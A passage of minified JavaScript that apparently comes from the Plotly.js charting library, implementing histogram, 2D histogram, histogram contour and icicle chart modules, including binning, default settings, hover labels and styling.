n.size=="string",I=[],k=x?I:n,B=[],_=[],F=[],O=0,z=c.histnorm,N=c.histfunc,G=z.indexOf("density")!==-1,J,q,ne;p.enabled&&G&&(z=z.replace(/ ?density$/,""),G=!1);var fe=N==="max"||N==="min",X=fe?null:0,W=d.count,V=g[z],Y=!1,Q=function(Oe){return v.r2c(Oe,0,E)},ie;for(P.isArrayOrTypedArray(c[w])&&N!=="count"&&(ie=c[w],Y=N==="avg",W=d[N]),A=Q(n.start),q=Q(n.end)+(A-L.tickIncrement(A,n.size,!1,E))/1e6;A<q&&b.length<1e6&&(J=L.tickIncrement(A,n.size,!1,E),b.push((A+J)/2),h.push(X),F.push([]),I.push(A),G&&B.push(1/(J-A)),Y&&_.push(0),!(J<=A));)A=J;I.push(A),!x&&v.type==="date"&&(k={start:Q(k.start),end:Q(k.end),size:k.size}),y._fullLayout._roundFnOpts||(y._fullLayout._roundFnOpts={});var j=c["_"+T+"bingroup"],K={leftGap:1/0,rightGap:1/0};j&&(y._fullLayout._roundFnOpts[j]||(y._fullLayout._roundFnOpts[j]=K),K=y._fullLayout._roundFnOpts[j]);var oe=h.length,re=!0,le=K.leftGap,pe=K.rightGap,we={};for(A=0;A<C.length;A++){var xe=C[A];ne=P.findBin(xe,k),ne>=0&&ne<oe&&(O+=W(ne,A,h,ie,_),re&&F[ne].length&&xe!==C[F[ne][0]]&&(re=!1),F[ne].push(A),we[A]=ne,le=Math.min(le,xe-I[ne]),pe=Math.min(pe,I[ne+1]-xe))}K.leftGap=le,K.rightGap=pe;var ke;re||(ke=function(Oe,Ce){return function(){var Be=y._fullLayout._roundFnOpts[j];return r(Be.leftGap,Be.rightGap,I,v,E)(Oe,Ce)}}),Y&&(O=t(h,_)),V&&V(h,O,B),p.enabled&&s(h,p.direction,p.currentbin);var _e=Math.min(b.length,h.length),be=[],ge=0,Te=_e-1;for(A=0;A<_e;A++)if(h[A]){ge=A;break}for(A=_e-1;A>=ge;A--)if(h[A]){Te=A;break}for(A=ge;A<=Te;A++)if(M(b[A])&&M(h[A])){var Fe={p:b[A],s:h[A],b:0};p.enabled||(Fe.pts=F[A],re?Fe.ph0=Fe.ph1=F[A].length?C[F[A][0]]:b[A]:(c._computePh=!0,Fe.ph0=ke(I[A]),Fe.ph1=ke(I[A+1],!0))),be.push(Fe)}return be.length===1&&(be[0].width1=L.tickIncrement(be[0].p,n.size,!1,E)-be[0].p),S(be,c),P.isArrayOrTypedArray(c.selectedpoints)&&P.tagSelected(be,c,we),be}function a(y,c,b,h,i){var v=h+"bins",T=y._fullLayout,w=c["_"+h+"bingroup"],E=T._histogramBinOpts[w],p=T.barmode==="overlay",A,m,n,C,x,I,k,B=function(xe){return b.r2c(xe,0,C)},_=function(xe){return b.c2r(xe,0,C)},F=b.type==="date"?function(xe){return xe||xe===0?P.cleanDate(xe,null,C):null}:function(xe){return M(xe)?Number(xe):null};function O(xe,ke,_e){ke[xe+"Found"]?(ke[xe]=F(ke[xe]),ke[xe]===null&&(ke[xe]=_e[xe])):(I[xe]=ke[xe]=_e[xe],P.nestedProperty(m[0],v+"."+xe).set(_e[xe]))}if(c["_"+h+"autoBinFinished"])delete c["_"+h+"autoBinFinished"];else{m=E.traces;var z=[],N=!0,G=!1,J=!1;for(A=0;A<m.length;A++)if(n=m[A],n.visible){var q=E.dirs[A];x=n["_"+q+"pos0"]=b.makeCalcdata(n,q),z=P.concat(z,x),delete n["_"+h+"autoBinFinished"],c.visible===!0&&(N?N=!1:(delete n._autoBin,n["_"+h+"autoBinFinished"]=1),o.traceIs(n,"2dMap")&&(G=!0),n.type==="histogram2dcontour"&&(J=!0))}C=m[0][h+"calendar"];var ne=L.autoBin(z,b,E.nbins,G,C,E.sizeFound&&E.size),fe=m[0]._autoBin={};if(I=fe[E.dirs[0]]={},J&&(E.size||(ne.start=_(L.tickIncrement(B(ne.start),ne.size,!0,C))),E.end===void 0&&(ne.end=_(L.tickIncrement(B(ne.end),ne.size,!1,C)))),p&&!o.traceIs(c,"2dMap")&&ne._dataSpan===0&&b.type!=="category"&&b.type!=="multicategory"){if(i)return[ne,x,!0];ne=l(y,c,b,h,v)}k=n.cumulative||{},k.enabled&&k.currentbin!=="include"&&(k.direction==="decreasing"?ne.start=_(L.tickIncrement(B(ne.start),ne.size,!0,C)):ne.end=_(L.tickIncrement(B(ne.end),ne.size,!1,C))),E.size=ne.size,E.sizeFound||(I.size=ne.size,P.nestedProperty(m[0],v+".size").set(ne.size)),O("start",E,ne),O("end",E,ne)}x=c["_"+h+"pos0"],delete c["_"+h+"pos0"];var X=c._input[v]||{},W=P.extendFlat({},E),V=E.start,Y=b.r2l(X.start),Q=Y!==void 0;if((E.startFound||Q)&&Y!==b.r2l(V)){var ie=Q?Y:P.aggNums(Math.min,null,x),j={type:b.type==="category"||b.type==="multicategory"?"linear":b.type,r2l:b.r2l,dtick:E.size,tick0:V,calendar:C,range:[ie,L.tickIncrement(ie,E.size,!1,C)].map(b.l2r)},K=L.tickFirst(j);K>b.r2l(ie)&&(K=L.tickIncrement(K,E.size,!0,C)),W.start=b.l2r(K),Q||P.nestedProperty(c,v+".start").set(W.start)}var oe=E.end,re=b.r2l(X.end),le=re!==void 0;if((E.endFound||le)&&re!==b.r2l(oe)){var pe=le?re:P.aggNums(Math.max,null,x);W.end=b.l2r(pe),le||P.nestedProperty(c,v+".start").set(W.end)}var we="autobin"+h;return c._input[we]===!1&&(c._input[v]=P.extendFlat({},c[v]||{}),delete c._input[we],delete c[we]),[W,x]}function l(y,c,b,h,i){var v=y._fullLayout,T=u(y,c),w=!1,E=1/0,p=[c],A,m,n;for(A=0;A<T.length;A++)if(m=T[A],m===c)w=!0;else if(!w)n=v._histogramBinOpts[m["_"+h+"bingroup"]],E=Math.min(E,n.size||m[i].size);else{var C=a(y,m,b,h,!0),x=C[0],I=C[2];m["_"+h+"autoBinFinished"]=1,m["_"+h+"pos0"]=C[1],I?p.push(m):E=Math.min(E,x.size)}var k=new Array(p.length);for(A=0;A<p.length;A++)for(var B=p[A]["_"+h+"pos0"],_=0;_<B.length;_++)if(B[_]!==void 0){k[A]=B[_];break}for(isFinite(E)||(E=P.distinctVals(k).minDiff),A=0;A<p.length;A++){m=p[A];var F=m[h+"calendar"],O={start:b.c2r(k[A]-E/2,0,F),end:b.c2r(k[A]+E/2,0,F),size:E};m._input[i]=m[i]=O,n=v._histogramBinOpts[m["_"+h+"bingroup"]],n&&P.extendFlat(n,O)}return c[i]}function u(y,c){for(var b=c.xaxis,h=c.yaxis,i=c.orientation,v=[],T=y._fullData,w=0;w<T.length;w++){var E=T[w];E.type==="histogram"&&E.visible===!0&&E.orientation===i&&E.xaxis===b&&E.yaxis===h&&v.push(E)}return v}function s(y,c,b){var h,i,v;function T(E){v=y[E],y[E]/=2}function w(E){i=y[E],y[E]=v+i/2,v+=i}if(b==="half")if(c==="increasing")for(T(0),h=1;h<y.length;h++)w(h);else for(T(y.length-1),h=y.length-2;h>=0;h--)w(h);else if(c==="increasing"){for(h=1;h<y.length;h++)y[h]+=y[h-1];b==="exclude"&&(y.unshift(0),y.pop())}else{for(h=y.length-2;h>=0;h--)y[h]+=y[h+1];b==="exclude"&&(y.push(0),y.shift())}}te.exports={calc:f,calcAllAutoBins:a}},72406:function(te){te.exports={eventDataKeys:["binNumber"]}},82222:function(te,Z,e){var M=e(71828),P=e(41675),o=e(73972).traceIs,L=e(26125),S=M.nestedProperty,d=e(99082).getAxisGroup,g=[{aStr:{x:"xbins.start",y:"ybins.start"},name:"start"},{aStr:{x:"xbins.end",y:"ybins.end"},name:"end"},{aStr:{x:"xbins.size",y:"ybins.size"},name:"size"},{aStr:{x:"nbinsx",y:"nbinsy"},name:"nbins"}],t=["x","y"];te.exports=function(f,a){var l=a._histogramBinOpts={},u=[],s={},y=[],c,b,h,i,v,T,w;function E(J,q){return M.coerce(c._input,c,c._module.attributes,J,q)}function p(J){return J.orientation==="v"?"x":"y"}function A(J,q){var ne=P.getFromTrace({_fullLayout:a},J,q);return ne.type}function m(J,q,ne){var fe=J.uid+"__"+ne;q||(q=fe);var X=A(J,ne),W=J[ne+"calendar"]||"",V=l[q],Y=!0;V&&(X===V.axType&&W===V.calendar?(Y=!1,V.traces.push(J),V.dirs.push(ne)):(q=fe,X!==V.axType&&M.warn(["Attempted to group the bins of trace",J.index,"set on a","type:"+X,"axis","with bins on","type:"+V.axType,"axis."].join(" ")),W!==V.calendar&&M.warn(["Attempted to group the bins of trace",J.index,"set with a",W,"calendar","with bins",V.calendar?"on a "+V.calendar+" calendar":"w/o a set calendar"].join(" ")))),Y&&(l[q]={traces:[J],dirs:[ne],axType:X,calendar:J[ne+"calendar"]||""}),J["_"+ne+"bingroup"]=q}for(v=0;v<f.length;v++)c=f[v],o(c,"histogram")&&(u.push(c),delete c._xautoBinFinished,delete c._yautoBinFinished,o(c,"2dMap")||L(c._input,c,a,E));var n=a._alignmentOpts||{};for(v=0;v<u.length;v++){if(c=u[v],h="",!o(c,"2dMap")){if(i=p(c),a.barmode==="group"&&c.alignmentgroup){var C=c[i+"axis"],x=d(a,C)+c.orientation;(n[x]||{})[c.alignmentgroup]&&(h=x)}!h&&a.barmode!=="overlay"&&(h=d(a,c.xaxis)+d(a,c.yaxis)+p(c))}h?(s[h]||(s[h]=[]),s[h].push(c)):y.push(c)}for(h in s){if(b=s[h],b.length===1){y.push(b[0]);continue}var I=!1;for(b.length&&(c=b[0],I=E("bingroup")),h=I||h,v=0;v<b.length;v++){c=b[v];var k=c._input.bingroup;k&&k!==h&&M.warn(["Trace",c.index,"must match","within bingroup",h+".","Ignoring its bingroup:",k,"setting."].join(" ")),c.bingroup=h,m(c,h,p(c))}}for(v=0;v<y.length;v++){c=y[v];var B=E("bingroup");if(o(c,"2dMap"))for(w=0;w<2;w++){i=t[w];var _=E(i+"bingroup",B?B+"__"+i:null);m(c,_,i)}else m(c,B,p(c))}for(h in l){var F=l[h];for(b=F.traces,T=0;T<g.length;T++){var O=g[T],z=O.name,N,G;if(!(z==="nbins"&&F.sizeFound)){for(v=0;v<b.length;v++){if(c=b[v],i=F.dirs[v],N=O.aStr[i],S(c._input,N).get()!==void 0){F[z]=E(N),F[z+"Found"]=!0;break}G=(c._autoBin||{})[i]||{},G[z]&&S(c,N).set(G[z])}if(z==="start"||z==="end")for(;v<b.length;v++)c=b[v],c["_"+i+"bingroup"]&&(G=(c._autoBin||{})[i]||{},E(N,G[z]));z==="nbins"&&!F.sizeFound&&!F.nbinsFound&&(c=b[0],F[z]=E(N))}}}}},11385:function(te,Z,e){var M=e(73972),P=e(71828),o=e(7901),L=e(90769).handleText,S=e(98340),d=e(7745);te.exports=function(t,r,f,a){function l(A,m){return P.coerce(t,r,d,A,m)}var u=l("x"),s=l("y"),y=l("cumulative.enabled");y&&(l("cumulative.direction"),l("cumulative.currentbin")),l("text");var c=l("textposition");L(t,r,a,l,c,{moduleHasSelected:!0,moduleHasUnselected:!0,moduleHasConstrain:!0,moduleHasCliponaxis:!0,moduleHasTextangle:!0,moduleHasInsideanchor:!0}),l("hovertext"),l("hovertemplate"),l("xhoverformat"),l("yhoverformat");var b=l("orientation",s&&!u?"h":"v"),h=b==="v"?"x":"y",i=b==="v"?"y":"x",v=u&&s?Math.min(P.minRowLength(u)&&P.minRowLength(s)):P.minRowLength(r[h]||[]);if(!v){r.visible=!1;return}r._length=v;var T=M.getComponentMethod("calendars","handleTraceDefaults");T(t,r,["x","y"],a);var w=r[i];w&&l("histfunc"),l("histnorm"),l("autobin"+h),S(t,r,l,f,a),P.coerceSelectionMarkerOpacity(r,l);var E=(r.marker.line||{}).color,p=M.getComponentMethod("errorbars","supplyDefaults");p(t,r,E||o.defaultLine,{axis:"y"}),p(t,r,E||o.defaultLine,{axis:"x",inherit:"y"})}},84402:function(te){te.exports=function(e,M,P,o,L){if(e.x="xVal"in M?M.xVal:M.x,e.y="yVal"in M?M.yVal:M.y,"zLabelVal"in M&&(e.z=M.zLabelVal),M.xa&&(e.xaxis=M.xa),M.ya&&(e.yaxis=M.ya),!(P.cumulative||{}).enabled){var S=Array.isArray(L)?o[0].pts[L[0]][L[1]]:o[L].pts;e.pointNumbers=S,e.binNumber=e.pointNumber,delete e.pointNumber,delete e.pointIndex;var d;if(P._indexToPoints){d=[];for(var g=0;g<S.length;g++)d=d.concat(P._indexToPoints[S[g]])}else d=S;e.pointIndices=d}return e}},76440:function(te,Z,e){var M=e(95423).hoverPoints,P=e(89298).hoverLabelText;te.exports=function(L,S,d,g,t){var r=M(L,S,d,g,t);if(r){L=r[0];var f=L.cd[L.index],a=L.cd[0].trace;if(!a.cumulative.enabled){var l=a.orientation==="h"?"y":"x";L[l+"Label"]=P(L[l+"a"],[f.ph0,f.ph1],a[l+"hoverformat"])}return r}}},36071:function(te,Z,e){te.exports={attributes:e(7745),layoutAttributes:e(43641),supplyDefaults:e(11385),crossTraceDefaults:e(82222),supplyLayoutDefaults:e(13957),calc:e(72138).calc,crossTraceCalc:e(11661).crossTraceCalc,plot:e(17295).plot,layerName:"barlayer",style:e(16688).style,styleOnSelect:e(16688).styleOnSelect,colorbar:e(4898),hoverPoints:e(76440),selectPoints:e(81974),eventData:e(84402),moduleType:"trace",name:"histogram",basePlotModule:e(93612),categories:["bar-like","cartesian","svg","bar","histogram","oriented","errorBarsOK","showLegend"],meta:{}}},36362:function(te){te.exports={percent:function(Z,e){for(var M=Z.length,P=100/e,o=0;o<M;o++)Z[o]*=P},probability:function(Z,e){for(var M=Z.length,P=0;P<M;P++)Z[P]/=e},density:function(Z,e,M,P){var o=Z.length;P=P||1;for(var L=0;L<o;L++)Z[L]*=M[L]*P},"probability density":function(Z,e,M,P){var o=Z.length;P&&(e/=P);for(var L=0;L<o;L++)Z[L]*=M[L]/e}}},35361:function(te,Z,e){var M=e(7745),P=e(17656),o=e(21606),L=e(9012),S=e(12663).axisHoverFormat,d=e(5386).fF,g=e(5386).si,t=e(50693),r=e(1426).extendFlat;te.exports=r({x:M.x,y:M.y,z:{valType:"data_array",editType:"calc"},marker:{color:{valType:"data_array",editType:"calc"},editType:"calc"},histnorm:M.histnorm,histfunc:M.histfunc,nbinsx:M.nbinsx,xbins:P("x"),nbinsy:M.nbinsy,ybins:P("y"),autobinx:M.autobinx,autobiny:M.autobiny,bingroup:r({},M.bingroup,{}),xbingroup:r({},M.bingroup,{}),ybingroup:r({},M.bingroup,{}),xgap:o.xgap,ygap:o.ygap,zsmooth:o.zsmooth,xhoverformat:S("x"),yhoverformat:S("y"),zhoverformat:S("z",1),hovertemplate:d({},{keys:"z"}),texttemplate:g({arrayOk:!1,editType:"plot"},{keys:"z"}),textfont:o.textfont,showlegend:r({},L.showlegend,{dflt:!1})},t("",{cLetter:"z",autoColorDflt:!1}))},17562:function(te,Z,e){var M=e(71828),P=e(89298),o=e(59575),L=e(36362),S=e(42174),d=e(40965),g=e(72138).calcAllAutoBins;te.exports=function(l,u){var s=P.getFromId(l,u.xaxis),y=P.getFromId(l,u.yaxis),c=u.xcalendar,b=u.ycalendar,h=function(De){return s.r2c(De,0,c)},i=function(De){return y.r2c(De,0,b)},v=function(De){return s.c2r(De,0,c)},T=function(De){return y.c2r(De,0,b)},w,E,p,A,m=g(l,u,s,"x"),n=m[0],C=m[1],x=g(l,u,y,"y"),I=x[0],k=x[1],B=u._length;C.length>B&&C.splice(B,C.length-B),k.length>B&&k.splice(B,k.length-B);var _=[],F=[],O=[],z=typeof n.size=="string",N=typeof I.size=="string",G=[],J=[],q=z?G:n,ne=N?J:I,fe=0,X=[],W=[],V=u.histnorm,Y=u.histfunc,Q=V.indexOf("density")!==-1,ie=Y==="max"||Y==="min",j=ie?null:0,K=o.count,oe=L[V],re=!1,le=[],pe=[],we="z"in u?u.z:"marker"in u&&Array.isArray(u.marker.color)?u.marker.color:"";we&&Y!=="count"&&(re=Y==="avg",K=o[Y]);var xe=n.size,ke=h(n.start),_e=h(n.end)+(ke-P.tickIncrement(ke,xe,!1,c))/1e6;for(w=ke;w<_e;w=P.tickIncrement(w,xe,!1,c))F.push(j),G.push(w),re&&O.push(0);G.push(w);var be=F.length,ge=(w-ke)/be,Te=v(ke+ge/2),Fe=I.size,Oe=i(I.start),Ce=i(I.end)+(Oe-P.tickIncrement(Oe,Fe,!1,b))/1e6;for(w=Oe;w<Ce;w=P.tickIncrement(w,Fe,!1,b)){_.push(F.slice()),J.push(w);var Be=new Array(be);for(E=0;E<be;E++)Be[E]=[];W.push(Be),re&&X.push(O.slice())}J.push(w);var $e=_.length,Xe=(w-Oe)/$e,Ze=T(Oe+Xe/2);Q&&(le=t(F.length,q,ge,z),pe=t(_.length,ne,Xe,N)),!z&&s.type==="date"&&(q=r(h,q)),!N&&y.type==="date"&&(ne=r(i,ne));var Ke=!0,st=!0,lt=new Array(be),ut=new Array($e),yt=1/0,bt=1/0,Ot=1/0,Ge=1/0;for(w=0;w<B;w++){var Le=C[w],Pe=k[w];p=M.findBin(Le,q),A=M.findBin(Pe,ne),p>=0&&p<be&&A>=0&&A<$e&&(fe+=K(p,w,_[A],we,X[A]),W[A][p].push(w),Ke&&(lt[p]===void 0?lt[p]=Le:lt[p]!==Le&&(Ke=!1)),st&&(ut[A]===void 0?ut[A]=Pe:ut[A]!==Pe&&(st=!1)),yt=Math.min(yt,Le-G[p]),bt=Math.min(bt,G[p+1]-Le),Ot=Math.min(Ot,Pe-J[A]),Ge=Math.min(Ge,J[A+1]-Pe))}if(re)for(A=0;A<$e;A++)fe+=S(_[A],X[A]);if(oe)for(A=0;A<$e;A++)oe(_[A],fe,le,pe[A]);return{x:C,xRanges:f(G,Ke&&lt,yt,bt,s,c),x0:Te,dx:ge,y:k,yRanges:f(J,st&&ut,Ot,Ge,y,b),y0:Ze,dy:Xe,z:_,pts:W}};function t(a,l,u,s){var y=new Array(a),c;if(s)for(c=0;c<a;c++)y[c]=1/(l[c+1]-l[c]);else{var b=1/u;for(c=0;c<a;c++)y[c]=b}return y}function r(a,l){return{start:a(l.start),end:a(l.end),size:l.size}}function f(a,l,u,s,y,c){var b,h=a.length-1,i=new Array(h),v=d(u,s,a,y,c);for(b=0;b<h;b++){var T=(l||[])[b];i[b]=T===void 0?[v(a[b]),v(a[b+1],!0)]:[T,T]}return i}},93888:function(te,Z,e){var M=e(71828),P=e(75238),o=e(49901),L=e(1586),S=e(58623),d=e(35361);te.exports=function(t,r,f,a){function l(u,s){return M.coerce(t,r,d,u,s)}P(t,r,l,a),r.visible!==!1&&(o(t,r,l,a),L(t,r,a,l,{prefix:"",cLetter:"z"}),l("hovertemplate"),S(l,a),l("xhoverformat"),l("yhoverformat"))}},76128:function(te,Z,e){var M=e(46248),P=e(89298).hoverLabelText;te.exports=function(L,S,d,g,t){var r=M(L,S,d,g,t);if(r){L=r[0];var f=L.index,a=f[0],l=f[1],u=L.cd[0],s=u.trace,y=u.xRanges[l],c=u.yRanges[a];return L.xLabel=P(L.xa,[y[0],y[1]],s.xhoverformat),L.yLabel=P(L.ya,[c[0],c[1]],s.yhoverformat),r}}},43905:function(te,Z,e){te.exports={attributes:e(35361),supplyDefaults:e(93888),crossTraceDefaults:e(82222),calc:e(90757),plot:e(50347),layerName:"heatmaplayer",colorbar:e(61243),style:e(70035),hoverPoints:e(76128),eventData:e(84402),moduleType:"trace",name:"histogram2d",basePlotModule:e(93612),categories:["cartesian","svg","2dMap","histogram","showLegend"],meta:{}}},75238:function(te,Z,e){var M=e(73972),P=e(71828);te.exports=function(L,S,d,g){var t=d("x"),r=d("y"),f=P.minRowLength(t),a=P.minRowLength(r);if(!f||!a){S.visible=!1;return}S._length=Math.min(f,a);var l=M.getComponentMethod("calendars","handleTraceDefaults");l(L,S,["x","y"],g);var u=d("z")||d("marker.color");u&&d("histfunc"),d("histnorm"),d("autobinx"),d("autobiny")}},99066:function(te,Z,e){var M=e(35361),P=e(70600),o=e(50693),L=e(12663).axisHoverFormat,S=e(1426).extendFlat;te.exports=S({x:M.x,y:M.y,z:M.z,marker:M.marker,histnorm:M.histnorm,histfunc:M.histfunc,nbinsx:M.nbinsx,xbins:M.xbins,nbinsy:M.nbinsy,ybins:M.ybins,autobinx:M.autobinx,autobiny:M.autobiny,bingroup:M.bingroup,xbingroup:M.xbingroup,ybingroup:M.ybingroup,autocontour:P.autocontour,ncontours:P.ncontours,contours:P.contours,line:{color:P.line.color,width:S({},P.line.width,{dflt:.5}),dash:P.line.dash,smoothing:P.line.smoothing,editType:"plot"},xhoverformat:L("x"),yhoverformat:L("y"),zhoverformat:L("z",1),hovertemplate:M.hovertemplate,texttemplate:P.texttemplate,textfont:P.textfont},o("",{cLetter:"z",editTypeOverride:"calc"}))},62654:function(te,Z,e){var M=e(71828),P=e(75238),o=e(67217),L=e(8724),S=e(58623),d=e(99066);te.exports=function(t,r,f,a){function l(s,y){return M.coerce(t,r,d,s,y)}function u(s){return M.coerce2(t,r,d,s)}P(t,r,l,a),r.visible!==!1&&(o(t,r,l,u),L(t,r,l,a),l("xhoverformat"),l("yhoverformat"),l("hovertemplate"),r.contours&&r.contours.coloring==="heatmap"&&S(l,a))}},35902:function(te,Z,e){te.exports={attributes:e(99066),supplyDefaults:e(62654),crossTraceDefaults:e(82222),calc:e(27529),plot:e(29854).plot,layerName:"contourlayer",style:e(84426),colorbar:e(90654),hoverPoints:e(52421),moduleType:"trace",name:"histogram2dcontour",basePlotModule:e(93612),categories:["cartesian","svg","2dMap","contour","histogram","showLegend"],meta:{}}},46291:function(te,Z,e){var M=e(5386).fF,P=e(5386).si,o=e(50693),L=e(27670).Y,S=e(34e3),d=e(57564),g=e(45802),t=e(43473),r=e(1426).extendFlat,f=e(79952).u;te.exports={labels:d.labels,parents:d.parents,values:d.values,branchvalues:d.branchvalues,count:d.count,level:d.level,maxdepth:d.maxdepth,tiling:{orientation:{valType:"enumerated",values:["v","h"],dflt:"h",editType:"plot"},flip:g.tiling.flip,pad:{valType:"number",min:0,dflt:0,editType:"plot"},editType:"calc"},marker:r({colors:d.marker.colors,line:d.marker.line,pattern:f,editType:"calc"},o("marker",{colorAttr:"colors",anim:!1})),leaf:d.leaf,pathbar:g.pathbar,text:S.text,textinfo:d.textinfo,texttemplate:P({editType:"plot"},{keys:t.eventDataKeys.concat(["label","value"])}),hovertext:S.hovertext,hoverinfo:d.hoverinfo,hovertemplate:M({},{keys:t.eventDataKeys}),textfont:S.textfont,insidetextfont:S.insidetextfont,outsidetextfont:g.outsidetextfont,textposition:g.textposition,sort:S.sort,root:d.root,domain:L({name:"icicle",trace:!0,editType:"calc"})}},96346:function(te,Z,e){var M=e(74875);Z.name="icicle",Z.plot=function(P,o,L,S){M.plotBasePlot(Z.name,P,o,L,S)},Z.clean=function(P,o,L,S){M.cleanBasePlot(Z.name,P,o,L,S)}},46584:function(te,Z,e){var M=e(52147);Z.y=function(P,o){return M.calc(P,o)},Z.T=function(P){return M._runCrossTraceCalc("icicle",P)}},56524:function(te,Z,e){var M=e(71828),P=e(46291),o=e(7901),L=e(27670).c,S=e(90769).handleText,d=e(97313).TEXTPAD,g=e(37434).handleMarkerDefaults,t=e(21081),r=t.hasColorscale,f=t.handleDefaults;te.exports=function(l,u,s,y){function c(p,A){return M.coerce(l,u,P,p,A)}var b=c("labels"),h=c("parents");if(!b||!b.length||!h||!h.length){u.visible=!1;return}var i=c("values");i&&i.length?c("branchvalues"):c("count"),c("level"),c("maxdepth"),c("tiling.orientation"),c("tiling.flip"),c("tiling.pad");var v=c("text");c("texttemplate"),u.texttemplate||c("textinfo",Array.isArray(v)?"text+label":"label"),c("hovertext"),c("hovertemplate");var T=c("pathbar.visible"),w="auto";S(l,u,y,c,w,{hasPathbar:T,moduleHasSelected:!1,moduleHasUnselected:!1,moduleHasConstrain:!1,moduleHasCliponaxis:!1,moduleHasTextangle:!1,moduleHasInsideanchor:!1}),c("textposition"),g(l,u,y,c);var E=u._hasColorscale=r(l,"marker","colors")||(l.marker||{}).coloraxis;E&&f(l,u,y,c,{prefix:"marker.",cLetter:"c"}),c("leaf.opacity",E?1:.7),u._hovered={marker:{line:{width:2,color:o.contrast(y.paper_bgcolor)}}},T&&(c("pathbar.thickness",u.pathbar.textfont.size+2*d),c("pathbar.side"),c("pathbar.edgeshape")),c("sort"),c("root.color"),L(u,y,c),u._length=null}},90666:function(te,Z,e){var M=e(39898),P=e(71828),o=e(91424),L=e(63893),S=e(21538),d=e(82454).styleOne,g=e(43473),t=e(2791),r=e(83523),f=e(24714).formatSliceLabel,a=!1;te.exports=function(u,s,y,c,b){var h=b.width,i=b.height,v=b.viewX,T=b.viewY,w=b.pathSlice,E=b.toMoveInsideSlice,p=b.strTransform,A=b.hasTransition,m=b.handleSlicesExit,n=b.makeUpdateSliceInterpolator,C=b.makeUpdateTextInterpolator,x=b.prevEntry,I={},k=u._context.staticPlot,B=u._fullLayout,_=s[0],F=_.trace,O=F.textposition.indexOf("left")!==-1,z=F.textposition.indexOf("right")!==-1,N=F.textposition.indexOf("bottom")!==-1,G=S(y,[h,i],{flipX:F.tiling.flip.indexOf("x")>-1,flipY:F.tiling.flip.indexOf("y")>-1,orientation:F.tiling.orientation,pad:{inner:F.tiling.pad},maxDepth:F._maxDepth}),J=G.descendants(),q=1/0,ne=-1/0;J.forEach(function(Y){var Q=Y.depth;Q>=F._maxDepth?(Y.x0=Y.x1=(Y.x0+Y.x1)/2,Y.y0=Y.y1=(Y.y0+Y.y1)/2):(q=Math.min(q,Q),ne=Math.max(ne,Q))}),c=c.data(J,t.getPtId),F._maxVisibleLayers=isFinite(ne)?ne-q+1:0,c.enter().append("g").classed("slice",!0),m(c,a,I,[h,i],w),c.order();var fe=null;if(A&&x){var X=t.getPtId(x);c.each(function(Y){fe===null&&t.getPtId(Y)===X&&(fe={x0:Y.x0,x1:Y.x1,y0:Y.y0,y1:Y.y1})})}var W=function(){return fe||{x0:0,x1:h,y0:0,y1:i}},V=c;return A&&(V=V.transition().each("end",function(){var Y=M.select(this);t.setSliceCursor(Y,u,{hideOnRoot:!0,hideOnLeaves:!1,isTransitioning:!1})})),V.each(function(Y){Y._x0=v(Y.x0),Y._x1=v(Y.x1),Y._y0=T(Y.y0),Y._y1=T(Y.y1),Y._hoverX=v(Y.x1-F.tiling.pad),Y._hoverY=T(N?Y.y1-F.tiling.pad/2:Y.y0+F.tiling.pad/2);var Q=M.select(this),ie=P.ensureSingle(Q,"path","surface",function(re){re.style("pointer-events",k?"none":"all")});A?ie.transition().attrTween("d",function(re){var le=n(re,a,W(),[h,i],{orientation:F.tiling.orientation,flipX:F.tiling.flip.indexOf("x")>-1,flipY:F.tiling.flip.indexOf("y")>-1});return function(pe){return w(le(pe))}}):ie.attr("d",w),Q.call(r,y,u,s,{styleOne:d,eventDataKeys:g.eventDataKeys,transitionTime:g.CLICK_TRANSITION_TIME,transitionEasing:g.CLICK_TRANSITION_EASING}).call(t.setSliceCursor,u,{isTransitioning:u._transitioning}),ie.call(d,Y,F,u,{hovered:!1}),Y.x0===Y.x1||Y.y0===Y.y1?Y._text="":Y._text=f(Y,y,F,s,B)||"";var j=P.ensureSingle(Q,"g","slicetext"),K=P.ensureSingle(j,"text","",function(re){re.attr("data-notex",1)}),oe=P.ensureUniformFontSize(u,t.determineTextFont(F,Y,B.font));K.text(Y._text||" ").classed("slicetext",!0).attr("text-anchor",z?"end":O?"start":"middle").call(o.font,oe).call(L.convertToTspans,u),Y.textBB=o.bBox(K.node()),Y.transform=E(Y,{fontSize:oe.size}),Y.transform.fontSize=oe.size,A?K.transition().attrTween("transform",function(re){var le=C(re,a,W(),[h,i]);return function(pe){return p(le(pe))}}):K.attr("transform",p(Y))}),fe}},69816:function(te,Z,e){te.exports={moduleType:"trace",name:"icicle",basePlotModule:e(96346),categories:[],animatable:!0,attributes:e(46291),layoutAttributes:e(92894),supplyDefaults:e(56524),supplyLayoutDefaults:e(21070),calc:e(46584).y,crossTraceCalc:e(46584).T,plot:e(85596),style:e(82454).style,colorbar:e(4898),meta:{}}},92894:function(te){te.exports={iciclecolorway:{valType:"colorlist",editType:"calc"},extendiciclecolors:{valType:"boolean",dflt:!0,editType:"calc"}}},21070:function(te,Z,e){var M=e(71828),P=e(92894);te.exports=function(L,S){function d(g,t){return M.coerce(L,S,P,g,t)}d("iciclecolorway",S.colorway),d("extendiciclecolors")}},21538:function(te,Z,e){var M=e(674),P=e(14102);te.exports=function(L,S,d){var g=d.flipX,t=d.flipY,r=d.orientation==="h",f=d.maxDepth,a=S[0],l=S[1];f&&(a=(L.height+1)*S[0]/Math.min(L.height+1,f),l=(L.height+1)*S[1]/Math.min(L.height+1,f));var u=M.partition().padding(d.pad.inner).size(r?[S[1],a]:[S[0],l])(L);return(r||g||t)&&P(u,S,{swapXY:r,flipX:g,flipY:t}),u}},85596:function(te,Z,e){var M=e(80694),P=e(90666);te.exports=function(L,S,d,g){return M(L,S,d,g,{type:"icicle",drawDescendants:P})}},82454:function(te,Z,e){var M=e(39898),P=e(7901),o=e(71828),L=e(72597).resizeText,S=e(43467);function d(t){var r=t._fullLayout._iciclelayer.selectAll(".trace");L(t,r,"icicle"),r.each(function(f){var a=M.select(this),l=f[0],u=l.trace;a.style("opacity",u.opacity),a.selectAll("path.surface").each(function(s){M.select(this).call(g,s,u,t)})})}function g(t,r,f,a){var l=r.data.data,u=!r.children,s=l.i,y=o.castOption(f,s,"marker.line.color")||P.defaultLine,c=o.castOption(f,s,"marker.line.width")||0;t.call(S,r,f,a).style("stroke-width",c).call(P.stroke,y).style("opacity",u?f.leaf.opacity:null)}te.exports={style:d,styleOne:g}},17230:function(te,Z,e){for(var 